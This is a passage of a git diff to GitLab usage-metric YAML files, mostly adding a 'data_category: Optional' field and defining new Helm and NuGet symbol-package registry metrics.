diff --git a/config/metrics/counts_all/20210303153002_package_events_i_package_rubygems_pull_package.yml b/config/metrics/counts_all/20210303153002_package_events_i_package_rubygems_pull_package.yml
index d1080bdf043..c7364ce8663 100644
--- a/config/metrics/counts_all/20210303153002_package_events_i_package_rubygems_pull_package.yml
+++ b/config/metrics/counts_all/20210303153002_package_events_i_package_rubygems_pull_package.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.package_events_i_package_rubygems_pull_package
description: Total count of pull RubyGems packages events
product_section: ops
diff --git a/config/metrics/counts_all/20210303153004_package_events_i_package_rubygems_push_package.yml b/config/metrics/counts_all/20210303153004_package_events_i_package_rubygems_push_package.yml
index 6650167f264..05584e02c45 100644
--- a/config/metrics/counts_all/20210303153004_package_events_i_package_rubygems_push_package.yml
+++ b/config/metrics/counts_all/20210303153004_package_events_i_package_rubygems_push_package.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.package_events_i_package_rubygems_push_package
description: Total count of push RubyGems packages events
product_section: ops
diff --git a/config/metrics/counts_all/20210309165717_projects_with_enabled_alert_integrations_histogram.yml b/config/metrics/counts_all/20210309165717_projects_with_enabled_alert_integrations_histogram.yml
index ae13c280d89..5962998fef3 100644
--- a/config/metrics/counts_all/20210309165717_projects_with_enabled_alert_integrations_histogram.yml
+++ b/config/metrics/counts_all/20210309165717_projects_with_enabled_alert_integrations_histogram.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage.monitor.projects_with_enabled_alert_integrations_histogram
description: Histogram (buckets 1 to 100) of projects with at least 1 enabled integration.
product_section: ops
diff --git a/config/metrics/counts_all/20210410012200_package_events_i_package_terraform_module_delete_package.yml b/config/metrics/counts_all/20210410012200_package_events_i_package_terraform_module_delete_package.yml
index 15859a10f59..59b933c812f 100644
--- a/config/metrics/counts_all/20210410012200_package_events_i_package_terraform_module_delete_package.yml
+++ b/config/metrics/counts_all/20210410012200_package_events_i_package_terraform_module_delete_package.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.package_events_i_package_terraform_module_delete_package
description: Total count of Terraform Module packages delete events
product_section: ops
diff --git a/config/metrics/counts_all/20210410012202_package_events_i_package_terraform_module_pull_package.yml b/config/metrics/counts_all/20210410012202_package_events_i_package_terraform_module_pull_package.yml
index d766fd5efac..859f436ee69 100644
--- a/config/metrics/counts_all/20210410012202_package_events_i_package_terraform_module_pull_package.yml
+++ b/config/metrics/counts_all/20210410012202_package_events_i_package_terraform_module_pull_package.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.package_events_i_package_terraform_module_pull_package
description: Total count of pull Terraform Module packages events
product_section: ops
diff --git a/config/metrics/counts_all/20210410012204_package_events_i_package_terraform_module_push_package.yml b/config/metrics/counts_all/20210410012204_package_events_i_package_terraform_module_push_package.yml
index 4f923f250d0..9a890ee943a 100644
--- a/config/metrics/counts_all/20210410012204_package_events_i_package_terraform_module_push_package.yml
+++ b/config/metrics/counts_all/20210410012204_package_events_i_package_terraform_module_push_package.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.package_events_i_package_terraform_module_push_package
description: Total count of push Terraform Module packages events
product_section: ops
diff --git a/config/metrics/counts_all/20210423005644_i_analytics_dev_ops_adoption.yml b/config/metrics/counts_all/20210423005644_i_analytics_dev_ops_adoption.yml
index 25b6c0f4e93..82b7447bd48 100644
--- a/config/metrics/counts_all/20210423005644_i_analytics_dev_ops_adoption.yml
+++ b/config/metrics/counts_all/20210423005644_i_analytics_dev_ops_adoption.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: analytics_unique_visits.i_analytics_dev_ops_adoption
name: "<please fill metric name, suggested format is: {subject}_{verb}{ing|ed}_{object} eg: users_creating_epics or merge_requests_viewed_in_single_file_mode>"
description:
diff --git a/config/metrics/counts_all/20210427212450_geo_secondary_web_oauth_users.yml b/config/metrics/counts_all/20210427212450_geo_secondary_web_oauth_users.yml
index d1a818fe3e1..2447a5c1880 100644
--- a/config/metrics/counts_all/20210427212450_geo_secondary_web_oauth_users.yml
+++ b/config/metrics/counts_all/20210427212450_geo_secondary_web_oauth_users.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage.enablement.geo_secondary_web_oauth_users
name: ""
description:
diff --git a/config/metrics/counts_all/20210428142406_users_viewing_analytics_group_devops_adoption.yml b/config/metrics/counts_all/20210428142406_users_viewing_analytics_group_devops_adoption.yml
index 2a6a56a1f5a..8838e57a7a3 100644
--- a/config/metrics/counts_all/20210428142406_users_viewing_analytics_group_devops_adoption.yml
+++ b/config/metrics/counts_all/20210428142406_users_viewing_analytics_group_devops_adoption.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: analytics_unique_visits.users_viewing_analytics_group_devops_adoption
name: "<please fill metric name, suggested format is: {subject}_{verb}{ing|ed}_{object} eg: users_creating_epics or merge_requests_viewed_in_single_file_mode>"
description:
diff --git a/config/metrics/counts_all/20210502045402_ci_runners_instance_type_active.yml b/config/metrics/counts_all/20210502045402_ci_runners_instance_type_active.yml
index f66bb2c85c9..e108406ef11 100644
--- a/config/metrics/counts_all/20210502045402_ci_runners_instance_type_active.yml
+++ b/config/metrics/counts_all/20210502045402_ci_runners_instance_type_active.yml
@@ -1,7 +1,8 @@
---
+data_category: Optional
key_path: counts.ci_runners_instance_type_active
name: "count_active_instance_ci_runners"
-description: Total active group Runners
+description: Total active Shared (Instance) Runners
product_section: ops
product_stage: verify
product_group: group::pipeline execution
diff --git a/config/metrics/counts_all/20210502050341_ci_runners_group_type_active.yml b/config/metrics/counts_all/20210502050341_ci_runners_group_type_active.yml
index c6abe0905a4..6fe5d74a7e7 100644
--- a/config/metrics/counts_all/20210502050341_ci_runners_group_type_active.yml
+++ b/config/metrics/counts_all/20210502050341_ci_runners_group_type_active.yml
@@ -1,7 +1,8 @@
---
+data_category: Optional
key_path: counts.ci_runners_group_type_active
name: "count_active_group_ci_runners"
-description: Total active instance Runners
+description: Total active Group Runners
product_section: ops
product_stage: verify
product_group: group::pipeline execution
diff --git a/config/metrics/counts_all/20210502050834_ci_runners_project_type_active.yml b/config/metrics/counts_all/20210502050834_ci_runners_project_type_active.yml
index fda2b529b30..eaf9a3b5dd7 100644
--- a/config/metrics/counts_all/20210502050834_ci_runners_project_type_active.yml
+++ b/config/metrics/counts_all/20210502050834_ci_runners_project_type_active.yml
@@ -1,7 +1,8 @@
---
+data_category: Optional
key_path: counts.ci_runners_project_type_active
name: "count_active_project_ci_runners"
-description: Total active project Runners
+description: Total active Specific (Project) Runners
product_section: ops
product_stage: verify
product_group: group::pipeline execution
diff --git a/config/metrics/counts_all/20210502050942_ci_runners_online.yml b/config/metrics/counts_all/20210502050942_ci_runners_online.yml
index 201ffaeb415..7e63e095cd4 100644
--- a/config/metrics/counts_all/20210502050942_ci_runners_online.yml
+++ b/config/metrics/counts_all/20210502050942_ci_runners_online.yml
@@ -1,7 +1,8 @@
---
+data_category: Optional
key_path: counts.ci_runners_online
name: "counts_online_runners"
-description: Total online Runners
+description: Total online Runners of all types
product_section: ops
product_stage: verify
product_group: group::pipeline execution
diff --git a/config/metrics/counts_all/20210502051651_ci_runners_instance_type_active_online.yml b/config/metrics/counts_all/20210502051651_ci_runners_instance_type_active_online.yml
index 920ec24e9e7..2e451b5955e 100644
--- a/config/metrics/counts_all/20210502051651_ci_runners_instance_type_active_online.yml
+++ b/config/metrics/counts_all/20210502051651_ci_runners_instance_type_active_online.yml
@@ -1,7 +1,8 @@
---
+data_category: Optional
key_path: counts.ci_runners_instance_type_active_online
name: "count_instance_active_online_ci_runners"
-description: Total active and online instance Runners
+description: Total active and online Shared (Instance) Runners
product_section: ops
product_stage: verify
product_group: group::pipeline execution
diff --git a/config/metrics/counts_all/20210502051922_ci_runners_group_type_active_online.yml b/config/metrics/counts_all/20210502051922_ci_runners_group_type_active_online.yml
index e88530d97c8..30c6432d611 100644
--- a/config/metrics/counts_all/20210502051922_ci_runners_group_type_active_online.yml
+++ b/config/metrics/counts_all/20210502051922_ci_runners_group_type_active_online.yml
@@ -1,7 +1,8 @@
---
+data_category: Optional
key_path: counts.ci_runners_group_type_active_online
name: "count_group_active_online_ci_runners"
-description: Total active and online group Runners
+description: Total active and online Group Runners
product_section: ops
product_stage: verify
product_group: group::pipeline execution
diff --git a/config/metrics/counts_all/20210502052036_ci_runners_project_type_active_online.yml b/config/metrics/counts_all/20210502052036_ci_runners_project_type_active_online.yml
index 7ce3ee6ce8b..8f47542eac2 100644
--- a/config/metrics/counts_all/20210502052036_ci_runners_project_type_active_online.yml
+++ b/config/metrics/counts_all/20210502052036_ci_runners_project_type_active_online.yml
@@ -1,7 +1,8 @@
---
+data_category: Optional
key_path: counts.ci_runners_project_type_active_online
name: "count_project_active_online_ci_runners"
-description: Total active and online project Runners
+description: Total active and online Specific (Project) Runners
product_section: ops
product_stage: verify
product_group: group::pipeline execution
diff --git a/config/metrics/counts_all/20210510201537_in_product_marketing_email_create_0_sent.yml b/config/metrics/counts_all/20210510201537_in_product_marketing_email_create_0_sent.yml
index 52dd38bab8d..133b85c00e4 100644
--- a/config/metrics/counts_all/20210510201537_in_product_marketing_email_create_0_sent.yml
+++ b/config/metrics/counts_all/20210510201537_in_product_marketing_email_create_0_sent.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.in_product_marketing_email_create_0_sent
name: "count_sent_first_email_of_the_create_track_for_in_product_marketing_emails"
description: Total sent emails of the create track's first email
diff --git a/config/metrics/counts_all/20210510201919_in_product_marketing_email_create_0_cta_clicked.yml b/config/metrics/counts_all/20210510201919_in_product_marketing_email_create_0_cta_clicked.yml
index 65440e73542..70531344912 100644
--- a/config/metrics/counts_all/20210510201919_in_product_marketing_email_create_0_cta_clicked.yml
+++ b/config/metrics/counts_all/20210510201919_in_product_marketing_email_create_0_cta_clicked.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.in_product_marketing_email_create_0_cta_clicked
name: "count_clicks_on_the_first_email_of_the_create_track_for_in_product_marketing_emails"
description: Total clicks on the create track's first email
diff --git a/config/metrics/counts_all/20210510202148_in_product_marketing_email_create_1_sent.yml b/config/metrics/counts_all/20210510202148_in_product_marketing_email_create_1_sent.yml
index 3701f0a3ba3..9f6fff093d3 100644
--- a/config/metrics/counts_all/20210510202148_in_product_marketing_email_create_1_sent.yml
+++ b/config/metrics/counts_all/20210510202148_in_product_marketing_email_create_1_sent.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.in_product_marketing_email_create_1_sent
name: "count_sent_second_email_of_the_create_track_for_in_product_marketing_emails"
description: Total sent emails of the create track's second email
diff --git a/config/metrics/counts_all/20210510202356_in_product_marketing_email_create_1_cta_clicked.yml b/config/metrics/counts_all/20210510202356_in_product_marketing_email_create_1_cta_clicked.yml
index 70c0257481d..da16bdfc514 100644
--- a/config/metrics/counts_all/20210510202356_in_product_marketing_email_create_1_cta_clicked.yml
+++ b/config/metrics/counts_all/20210510202356_in_product_marketing_email_create_1_cta_clicked.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.in_product_marketing_email_create_1_cta_clicked
name: "count_clicks_on_the_second_email_of_the_create_track_for_in_product_marketing_emails"
description: Total clicks on the create track's second email
diff --git a/config/metrics/counts_all/20210510202604_in_product_marketing_email_create_2_sent.yml b/config/metrics/counts_all/20210510202604_in_product_marketing_email_create_2_sent.yml
index 8d8eb4630d3..ce00d9d1ba4 100644
--- a/config/metrics/counts_all/20210510202604_in_product_marketing_email_create_2_sent.yml
+++ b/config/metrics/counts_all/20210510202604_in_product_marketing_email_create_2_sent.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.in_product_marketing_email_create_2_sent
name: "count_sent_third_email_of_the_create_track_for_in_product_marketing_emails"
description: Total sent emails of the create track's third email
diff --git a/config/metrics/counts_all/20210510202724_in_product_marketing_email_create_2_cta_clicked.yml b/config/metrics/counts_all/20210510202724_in_product_marketing_email_create_2_cta_clicked.yml
index 965efa41883..6eae1b19cbb 100644
--- a/config/metrics/counts_all/20210510202724_in_product_marketing_email_create_2_cta_clicked.yml
+++ b/config/metrics/counts_all/20210510202724_in_product_marketing_email_create_2_cta_clicked.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.in_product_marketing_email_create_2_cta_clicked
name: "count_clicks_on_the_third_email_of_the_create_track_for_in_product_marketing_emails"
description: Total clicks on the create track's third email
diff --git a/config/metrics/counts_all/20210510202807_in_product_marketing_email_verify_0_sent.yml b/config/metrics/counts_all/20210510202807_in_product_marketing_email_verify_0_sent.yml
index 2e5bbc29d2c..bc66d1bdb47 100644
--- a/config/metrics/counts_all/20210510202807_in_product_marketing_email_verify_0_sent.yml
+++ b/config/metrics/counts_all/20210510202807_in_product_marketing_email_verify_0_sent.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.in_product_marketing_email_verify_0_sent
name: "count_sent_first_email_of_the_verify_track_for_in_product_marketing_emails"
description: Total sent emails of the verify track's first email
diff --git a/config/metrics/counts_all/20210510202943_in_product_marketing_email_verify_0_cta_clicked.yml b/config/metrics/counts_all/20210510202943_in_product_marketing_email_verify_0_cta_clicked.yml
index 23ed471a295..525ab313b17 100644
--- a/config/metrics/counts_all/20210510202943_in_product_marketing_email_verify_0_cta_clicked.yml
+++ b/config/metrics/counts_all/20210510202943_in_product_marketing_email_verify_0_cta_clicked.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.in_product_marketing_email_verify_0_cta_clicked
name: "count_clicks_on_the_first_email_of_the_verify_track_for_in_product_marketing_emails"
description: Total clicks on the verify track's first email
diff --git a/config/metrics/counts_all/20210510202955_in_product_marketing_email_verify_1_sent.yml b/config/metrics/counts_all/20210510202955_in_product_marketing_email_verify_1_sent.yml
index 992b39fbd1c..2279f54232a 100644
--- a/config/metrics/counts_all/20210510202955_in_product_marketing_email_verify_1_sent.yml
+++ b/config/metrics/counts_all/20210510202955_in_product_marketing_email_verify_1_sent.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.in_product_marketing_email_verify_1_sent
name: "count_sent_second_email_of_the_verify_track_for_in_product_marketing_emails"
description: Total sent emails of the verify track's second email
diff --git a/config/metrics/counts_all/20210510203005_in_product_marketing_email_verify_1_cta_clicked.yml b/config/metrics/counts_all/20210510203005_in_product_marketing_email_verify_1_cta_clicked.yml
index bd9378867e6..a346e17801a 100644
--- a/config/metrics/counts_all/20210510203005_in_product_marketing_email_verify_1_cta_clicked.yml
+++ b/config/metrics/counts_all/20210510203005_in_product_marketing_email_verify_1_cta_clicked.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.in_product_marketing_email_verify_1_cta_clicked
name: "count_clicks_on_the_second_email_of_the_verify_track_for_in_product_marketing_emails"
description: Total clicks on the verify track's second email
diff --git a/config/metrics/counts_all/20210510203015_in_product_marketing_email_verify_2_sent.yml b/config/metrics/counts_all/20210510203015_in_product_marketing_email_verify_2_sent.yml
index 5b74bfd8d8c..573a8e4c18c 100644
--- a/config/metrics/counts_all/20210510203015_in_product_marketing_email_verify_2_sent.yml
+++ b/config/metrics/counts_all/20210510203015_in_product_marketing_email_verify_2_sent.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.in_product_marketing_email_verify_2_sent
name: "count_sent_third_email_of_the_verify_track_for_in_product_marketing_emails"
description: Total sent emails of the verify track's third email
diff --git a/config/metrics/counts_all/20210510203025_in_product_marketing_email_verify_2_cta_clicked.yml b/config/metrics/counts_all/20210510203025_in_product_marketing_email_verify_2_cta_clicked.yml
index e30f41d003a..39e4b91f52c 100644
--- a/config/metrics/counts_all/20210510203025_in_product_marketing_email_verify_2_cta_clicked.yml
+++ b/config/metrics/counts_all/20210510203025_in_product_marketing_email_verify_2_cta_clicked.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.in_product_marketing_email_verify_2_cta_clicked
name: "count_clicks_on_the_third_email_of_the_verify_track_for_in_product_marketing_emails"
description: Total clicks on the verify track's third email
diff --git a/config/metrics/counts_all/20210510203035_in_product_marketing_email_trial_0_sent.yml b/config/metrics/counts_all/20210510203035_in_product_marketing_email_trial_0_sent.yml
index 555c0f1e47f..e9e9a82cd02 100644
--- a/config/metrics/counts_all/20210510203035_in_product_marketing_email_trial_0_sent.yml
+++ b/config/metrics/counts_all/20210510203035_in_product_marketing_email_trial_0_sent.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.in_product_marketing_email_trial_0_sent
name: "count_sent_first_email_of_the_trial_track_for_in_product_marketing_emails"
description: Total sent emails of the trial track's first email
diff --git a/config/metrics/counts_all/20210510203044_in_product_marketing_email_trial_0_cta_clicked.yml b/config/metrics/counts_all/20210510203044_in_product_marketing_email_trial_0_cta_clicked.yml
index 23d8a6be343..dec668f44f0 100644
--- a/config/metrics/counts_all/20210510203044_in_product_marketing_email_trial_0_cta_clicked.yml
+++ b/config/metrics/counts_all/20210510203044_in_product_marketing_email_trial_0_cta_clicked.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.in_product_marketing_email_trial_0_cta_clicked
name: "count_clicks_on_the_first_email_of_the_trial_track_for_in_product_marketing_emails"
description: Total clicks on the verify trial's first email
diff --git a/config/metrics/counts_all/20210510203054_in_product_marketing_email_trial_1_sent.yml b/config/metrics/counts_all/20210510203054_in_product_marketing_email_trial_1_sent.yml
index 794eaaf01c8..09ca27a198b 100644
--- a/config/metrics/counts_all/20210510203054_in_product_marketing_email_trial_1_sent.yml
+++ b/config/metrics/counts_all/20210510203054_in_product_marketing_email_trial_1_sent.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.in_product_marketing_email_trial_1_sent
name: "count_sent_second_email_of_the_trial_track_for_in_product_marketing_emails"
description: Total sent emails of the trial track's second email
diff --git a/config/metrics/counts_all/20210510203104_in_product_marketing_email_trial_1_cta_clicked.yml b/config/metrics/counts_all/20210510203104_in_product_marketing_email_trial_1_cta_clicked.yml
index d8172d035b3..c706faef430 100644
--- a/config/metrics/counts_all/20210510203104_in_product_marketing_email_trial_1_cta_clicked.yml
+++ b/config/metrics/counts_all/20210510203104_in_product_marketing_email_trial_1_cta_clicked.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.in_product_marketing_email_trial_1_cta_clicked
name: "count_clicks_on_the_second_email_of_the_trial_track_for_in_product_marketing_emails"
description: Total clicks on the trial track's second email
diff --git a/config/metrics/counts_all/20210510203114_in_product_marketing_email_trial_2_sent.yml b/config/metrics/counts_all/20210510203114_in_product_marketing_email_trial_2_sent.yml
index f781a32cd65..5708ba432b5 100644
--- a/config/metrics/counts_all/20210510203114_in_product_marketing_email_trial_2_sent.yml
+++ b/config/metrics/counts_all/20210510203114_in_product_marketing_email_trial_2_sent.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.in_product_marketing_email_trial_2_sent
name: "count_sent_third_email_of_the_trial_track_for_in_product_marketing_emails"
description: Total sent emails of the trial track's third email
diff --git a/config/metrics/counts_all/20210510203124_in_product_marketing_email_trial_2_cta_clicked.yml b/config/metrics/counts_all/20210510203124_in_product_marketing_email_trial_2_cta_clicked.yml
index a79425144ac..ff1ec072ceb 100644
--- a/config/metrics/counts_all/20210510203124_in_product_marketing_email_trial_2_cta_clicked.yml
+++ b/config/metrics/counts_all/20210510203124_in_product_marketing_email_trial_2_cta_clicked.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.in_product_marketing_email_trial_2_cta_clicked
name: "count_clicks_on_the_third_email_of_the_trial_track_for_in_product_marketing_emails"
description: Total clicks on the trial track's third email
diff --git a/config/metrics/counts_all/20210510203134_in_product_marketing_email_team_0_sent.yml b/config/metrics/counts_all/20210510203134_in_product_marketing_email_team_0_sent.yml
index d84f9b6d794..8337c962466 100644
--- a/config/metrics/counts_all/20210510203134_in_product_marketing_email_team_0_sent.yml
+++ b/config/metrics/counts_all/20210510203134_in_product_marketing_email_team_0_sent.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.in_product_marketing_email_team_0_sent
name: "count_sent_first_email_of_the_trial_team_for_in_product_marketing_emails"
description: Total sent emails of the team track's first email
diff --git a/config/metrics/counts_all/20210510203143_in_product_marketing_email_team_0_cta_clicked.yml b/config/metrics/counts_all/20210510203143_in_product_marketing_email_team_0_cta_clicked.yml
index 35a9797f2fe..182b1b5f0d7 100644
--- a/config/metrics/counts_all/20210510203143_in_product_marketing_email_team_0_cta_clicked.yml
+++ b/config/metrics/counts_all/20210510203143_in_product_marketing_email_team_0_cta_clicked.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.in_product_marketing_email_team_0_cta_clicked
name: "count_clicks_on_the_first_email_of_the_team_track_for_in_product_marketing_emails"
description: Total clicks on the team track's first email
diff --git a/config/metrics/counts_all/20210510203153_in_product_marketing_email_team_1_sent.yml b/config/metrics/counts_all/20210510203153_in_product_marketing_email_team_1_sent.yml
index 79c2b1362c0..aeaa6e43f50 100644
--- a/config/metrics/counts_all/20210510203153_in_product_marketing_email_team_1_sent.yml
+++ b/config/metrics/counts_all/20210510203153_in_product_marketing_email_team_1_sent.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.in_product_marketing_email_team_1_sent
name: "count_sent_second_email_of_the_team_track_for_in_product_marketing_emails"
description: Total sent emails of the team track's second email
diff --git a/config/metrics/counts_all/20210510203203_in_product_marketing_email_team_1_cta_clicked.yml b/config/metrics/counts_all/20210510203203_in_product_marketing_email_team_1_cta_clicked.yml
index b4e08bd5d90..a1ebe731315 100644
--- a/config/metrics/counts_all/20210510203203_in_product_marketing_email_team_1_cta_clicked.yml
+++ b/config/metrics/counts_all/20210510203203_in_product_marketing_email_team_1_cta_clicked.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.in_product_marketing_email_team_1_cta_clicked
name: "count_clicks_on_the_second_email_of_the_team_track_for_in_product_marketing_emails"
description: Total clicks on the team track's second email
diff --git a/config/metrics/counts_all/20210510203213_in_product_marketing_email_team_2_sent.yml b/config/metrics/counts_all/20210510203213_in_product_marketing_email_team_2_sent.yml
index 175c7171dba..9d9cdfb0577 100644
--- a/config/metrics/counts_all/20210510203213_in_product_marketing_email_team_2_sent.yml
+++ b/config/metrics/counts_all/20210510203213_in_product_marketing_email_team_2_sent.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.in_product_marketing_email_team_2_sent
name: "count_sent_third_email_of_the_team_track_for_in_product_marketing_emails"
description: Total sent emails of the team track's third email
diff --git a/config/metrics/counts_all/20210510203223_in_product_marketing_email_team_2_cta_clicked.yml b/config/metrics/counts_all/20210510203223_in_product_marketing_email_team_2_cta_clicked.yml
index d6ec214b836..ffe99a1d4c3 100644
--- a/config/metrics/counts_all/20210510203223_in_product_marketing_email_team_2_cta_clicked.yml
+++ b/config/metrics/counts_all/20210510203223_in_product_marketing_email_team_2_cta_clicked.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.in_product_marketing_email_team_2_cta_clicked
name: "count_clicks_on_the_third_email_of_the_team_track_for_in_product_marketing_emails"
description: Total clicks on the team track's third email
diff --git a/config/metrics/counts_all/20210514141520_project_imports_total.yml b/config/metrics/counts_all/20210514141520_project_imports_total.yml
index cfeb30a8ca6..2f61cfa9376 100644
--- a/config/metrics/counts_all/20210514141520_project_imports_total.yml
+++ b/config/metrics/counts_all/20210514141520_project_imports_total.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage.manage.project_imports.total
description: 'Count number of projects imported monthly'
product_section: dev
diff --git a/config/metrics/counts_all/20210517073546_package_events_i_package_helm_pull_package.yml b/config/metrics/counts_all/20210517073546_package_events_i_package_helm_pull_package.yml
index 1ec944c3d7a..cbebbdc4eb0 100644
--- a/config/metrics/counts_all/20210517073546_package_events_i_package_helm_pull_package.yml
+++ b/config/metrics/counts_all/20210517073546_package_events_i_package_helm_pull_package.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.package_events_i_package_helm_pull_package
description: Total count of pull Helm packages events
product_section: ops
diff --git a/config/metrics/counts_all/20210518081225_in_product_marketing_email_experience_0_sent.yml b/config/metrics/counts_all/20210518081225_in_product_marketing_email_experience_0_sent.yml
index f8a2b99b87e..d85eeefe9e6 100644
--- a/config/metrics/counts_all/20210518081225_in_product_marketing_email_experience_0_sent.yml
+++ b/config/metrics/counts_all/20210518081225_in_product_marketing_email_experience_0_sent.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.in_product_marketing_email_experience_0_sent
name: "count_sent_first_email_of_the_experience_track_for_in_product_marketing_emails"
description: Total sent emails of the experience track's first email
diff --git a/config/metrics/counts_all/20210625095025_package_events_i_package_helm_push_package.yml b/config/metrics/counts_all/20210625095025_package_events_i_package_helm_push_package.yml
new file mode 100644
index 00000000000..e405692bd87
--- /dev/null
+++ b/config/metrics/counts_all/20210625095025_package_events_i_package_helm_push_package.yml
@@ -0,0 +1,21 @@
+---
+key_path: counts.package_events_i_package_helm_push_package
+description: The total count of Helm packages that have been published.
+product_section: ops
+product_stage: package
+product_group: group::package
+product_category: package_registry
+value_type: number
+status: implemented
+milestone: "14.1"
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/64814
+time_frame: all
+data_source: redis
+data_category: Optional
+distribution:
+- ce
+- ee
+tier:
+- free
+- premium
+- ultimate
diff --git a/config/metrics/counts_all/20210709191135_package_events_i_package_nuget_pull_symbol_package.yml b/config/metrics/counts_all/20210709191135_package_events_i_package_nuget_pull_symbol_package.yml
new file mode 100644
index 00000000000..b2d39e70fe7
--- /dev/null
+++ b/config/metrics/counts_all/20210709191135_package_events_i_package_nuget_pull_symbol_package.yml
@@ -0,0 +1,22 @@
+---
+key_path: counts.package_events_i_package_nuget_pull_symbol_package
+name: nuget_symbol_packages_pulled
+description: A count of NuGet symbol packages that have been downloaded from the package registry
+product_section: ops
+product_stage: package
+product_group: group::package
+product_category: package registry
+value_type: number
+status: implemented
+milestone: "14.1"
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/64554
+time_frame: all
+data_source: redis
+data_category: Optional
+distribution:
+- ce
+- ee
+tier:
+- free
+- premium
+- ultimate
diff --git a/config/metrics/counts_all/20210709191829_package_events_i_package_nuget_push_symbol_package.yml b/config/metrics/counts_all/20210709191829_package_events_i_package_nuget_push_symbol_package.yml
new file mode 100644
index 00000000000..a3c68b2d115
--- /dev/null
+++ b/config/metrics/counts_all/20210709191829_package_events_i_package_nuget_push_symbol_package.yml
@@ -0,0 +1,22 @@
+---
+key_path: counts.package_events_i_package_nuget_push_symbol_package
+name: nuget_symbol_packages_pushed
+description: A count of NuGet symbol packages that have been uploaded to the package registry
+product_section: ops
+product_stage: package
+product_group: group::package
+product_category: package registry
+value_type: number
+status: implemented
+milestone: "14.1"
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/64554
+time_frame: all
+data_source: redis
+data_category: Optional
+distribution:
+- ce
+- ee
+tier:
+- free
+- premium
+- ultimate
diff --git a/config/metrics/counts_all/20210709210941_package_events_i_package_pull_symbol_package.yml b/config/metrics/counts_all/20210709210941_package_events_i_package_pull_symbol_package.yml
new file mode 100644
index 00000000000..9a0abf74ba2
--- /dev/null
+++ b/config/metrics/counts_all/20210709210941_package_events_i_package_pull_symbol_package.yml
@@ -0,0 +1,22 @@
+---
+key_path: counts.package_events_i_package_pull_symbol_package
+name: symbol_packages_pulled
+description: A count of symbol packages that have been pulled from the package registry
+product_section: ops
+product_stage: package
+product_group: group::package
+product_category: package registry
+value_type: number
+status: implemented
+milestone: "14.1"
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/64554
+time_frame: all
+data_source: redis
+data_category: Optional
+distribution:
+- ce
+- ee
+tier:
+- free
+- premium
+- ultimate \ No newline at end of file
diff --git a/config/metrics/counts_all/20210709211058_package_events_i_package_pull_symbol_package_by_deploy_token.yml b/config/metrics/counts_all/20210709211058_package_events_i_package_pull_symbol_package_by_deploy_token.yml
new file mode 100644
index 00000000000..83117bd3047
--- /dev/null
+++ b/config/metrics/counts_all/20210709211058_package_events_i_package_pull_symbol_package_by_deploy_token.yml
@@ -0,0 +1,22 @@
+---
+key_path: counts.package_events_i_package_pull_symbol_package_by_deploy_token
+name: symbol_packages_pulled_by_deploy_token
+description: A count of symbol packages that have been pulled with a deploy token from the package registry
+product_section: ops
+product_stage: package
+product_group: group::package
+product_category: package registry
+value_type: number
+status: implemented
+milestone: "14.1"
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/64554
+time_frame: all
+data_source: redis
+data_category: Optional
+distribution:
+- ce
+- ee
+tier:
+- free
+- premium
+- ultimate
diff --git a/config/metrics/counts_all/20210709211248_package_events_i_package_pull_symbol_package_by_guest.yml b/config/metrics/counts_all/20210709211248_package_events_i_package_pull_symbol_package_by_guest.yml
new file mode 100644
index 00000000000..69b48c6f469
--- /dev/null
+++ b/config/metrics/counts_all/20210709211248_package_events_i_package_pull_symbol_package_by_guest.yml
@@ -0,0 +1,22 @@
+---
+key_path: counts.package_events_i_package_pull_symbol_package_by_guest
+name: symbol_packages_pulled_by_guest
+description: A count of symbol packages that have been pulled with by a guest from the package registry
+product_section: ops
+product_stage: package
+product_group: group::package
+product_category: package registry
+value_type: number
+status: implemented
+milestone: "14.1"
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/64554
+time_frame: all
